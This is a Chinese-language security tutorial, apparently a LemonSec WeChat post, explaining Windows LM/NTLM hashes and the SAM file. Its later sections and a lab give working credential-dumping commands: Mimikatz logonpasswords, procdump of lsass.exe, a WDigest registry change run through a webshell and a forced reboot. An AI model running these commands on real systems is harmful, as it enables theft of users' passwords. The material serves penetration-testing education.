目录:
一:hash认证与破解
Hash的概念
一般翻译做“散列”,也有直接音译为“哈希”的,就是把任意长度的输入,通过散列算法,变换成固定长度的输 出,该输出就是散列值。
这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所 以不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
常用的Hash算法
MD4:它是基于32位操作数的位操作来实现的。
MD5:比MD4更复杂,并且速度较之要慢一点,但更安全。
SHA-1及其他:对长度小于264的输入,产生160bit的散列值,抗穷举性更好
本地认证SAM文件
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的”密码”与 SAM文件中的”密码”进行对比,如果相同,则认证成功。
SAM文件是位于 %SystemRoot%system32config 目录下的,用于储存本地所有用户的凭证信息,但是这并不代 表着可以随意去查看系统密码。
LM Hash
LM hash是NTLM hash的前身,它本身是非常脆弱的,LM与NTLM协议的认证机制相同,但是加密算法不同。
目前大多数的Windows都采用NTLM协议认证,LM协议已经基本淘汰了。
LM Hash的规则:
用户的密码被限制为最多14个字符 将明文密码转换为大写 密码转换为16进制字符串,不足14字节将会用0补全 密码的16进制字符串被分成两个7byte部分。 分别将两组数据,用str_to_key()函数处理得到两组8字节数据 这两组8字节数据将做为DESKEY对魔术字符串”KGS!@#$%”进行标准DES加密 将加密后的这两组数据简单拼接,就得到了最后的LM Hash |
NTLM Hash
Windows本身是不会存储明文密码的,在SAM文件中所储存的是密码的hash值,在登陆对比的时候,也是先将用户 的输入转换为hash值,才进行对比的。
目前在Windows中所使用的密码hash被称为NTLM hash,全称为:NT LAN Manager,它是一个由数字和字母组成 的32位的值,是经过hex、Unicode、MD4三层加密后得到的。
Windows Hash格式
Username:RID:Lmhash:NThash
本地认证完整流程
首先,用户注销、重启、锁屏后,操作系统会让 winlogon.exe 显示登录界面,让用户输入密码
之后将密码交给lsass.exe,这个进程中会保存一份明文密码,将明文密码加密成NTLM Hash,与SAM数据库比较认证。
注意:
Winlogon.exe 是Windows NT用户登陆程序,用于管理用户登录和退出
Lsass.exe 是windows系统的安全机制,它用于本地安全和登陆策略
二、Hash获取常用工具
要在system权限 下获取hash。如果是普通 用户权限,要提权后获取
Wce
Wce既可以直接获取明文,也可以获取Hash
1.上传wce.exe到目标机中
2.在命令执行处运行wce.exe,获取hash值
Gethashes
一般使用“GetHashes $Local”来获取系统的Hash密码值,该命令仅在system权限下才能执行成功。
QuarksPwDump
Quarks PwDump必须在Dos命令提示符下运行
1.使用cmd打开QuarksPwDump
2.输入命令:quarksDump.exe –dhl #获取本地hash
Pwdump
上传pwdump,使用pwdump获取administrator的hash
Mimikatz
mimikatz是一款轻量级的调试神器,功能非常强大,其中最常用的功 能就是抓取明文或Hash
上传mimikatz,使用mimikatz获取hash
命令:privilege::debug sekurlsa::logonpasswords
三、Hash破解常用方法
本地破解:Ophcrack
1.设置彩虹表:
在Ophcrack软件主界面中单击“Table”,接着就会出来如图所示的Table Selection界面,在缺省状态下,所有表 都没有安装,通过该界面我们了解到一共有8个彩虹表,其中有三个是免费的。
例如在本例中选择“Xp free small”,然后单击“Install”按钮,系统会自动到Ophcrack软件的安装目录
※注意:
在Ophcrack软件中其彩虹表的上级目录名称必须 为“tables”,否则彩虹表安装不会成功。
彩虹表安装成功后,其条目会变成绿色
2. 加载sam文件:
单击“Load”按钮,如图所示,一共有5个选项,第一个主要用于对单个Hash的破解,第二个是对获取的Pwdump文件进行破解,第三个是对加密的sam文件进行破解,第四个和第五个主要用来审计或者破解本地和远程Hash密码
3. 查看HASH值:
选择一个Pwdump文件,如果pwdump系统的hash密码没有错误,则会在Ophcrack软件主界面中正确显示
如图,在主界面中分别显示“User”、“LM Hash”、“NT Hash”、“LM Pwd1 ”、“LM Pwd2”以及“NT pwd” 等信息。
4.破解Hash值:
单击“Crack”开始破解,很快就破解出来了密码
本地破解:SAMInside
一款图形界面工具,可以获取包括Windows 2008 Server以下操作系统的用户密码Hash值。
在线破解:https://www.objectif-securite.ch/en/ophcrack
将NTHash 粘贴进网站,点击go,破解出密码
四、明文密码获取
windows 将登录密码加密后存在内存中,这样只要我们找到对应的内存段,然后解密那块内存,就得到了明文密码。
已经知道 windows 的加密密码内存段是在lsass.exe的进程空间里,所以攻击者只要注入到进程空间,定位到那块内存,剩下的事就是逆向一个字符串加密算法的过程了
注意事项:
一定要在system权限下获取明文密码
版本问题:
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码。如下图,密码字段显示为null
解决方法: 可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
修改注册表命令:reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWdigest /v UseLogonCredential /t REG_DWORD /d 1 /f
补丁问题:
在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth , 内存(lsass进程)不再保存明文口令。
Wce
wce抓取明文密码命令:wce.exe -w
Getpass
直接运行Getpass.exe,即直接获取明文密码
Mimikatz
命令:
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
CS与MSF拿到shell,后命令获取
五、实验:Win2012获取hash、密码
实验说明
windows从win10开始,默认不会在 lsass.exe 里存储明文密码,可以在管理员权限下修改注册表,再迫使管 理员重新登录,获取明文密码
1. 连接目标机的webshell
2. 修改注册表
reg add hkey_local_machinesystemcurrentcontrolsetcontrolsecurityproviderswdigest /v uselogoncredential
/t reg_dword /d 1 /f
3.锁屏或者注销已登录的账户,迫使用户重新登录
该实验,设置了系统自动登录,cmd下重启系统,账户重新登录
立即重启:shutdown /r /t 0
4.使用procdump获取内存中的密码信息,并将lsass.dmp下载到本地
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
5.使用mimikatz读取密码信息
本地读取:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >> 1.txt
在目标机读取:需上传mimikatz到目标机
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit >> log.txt
每日坚持分享好工具好资源,麻烦各位师傅文章底部给点个“再看”,感激不尽
欢迎关注LemonSec
觉得不错点个“赞”、“在看”哦
本文始发于微信公众号(LemonSec):hash认证概念与hash破解方式(工具使用方式)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论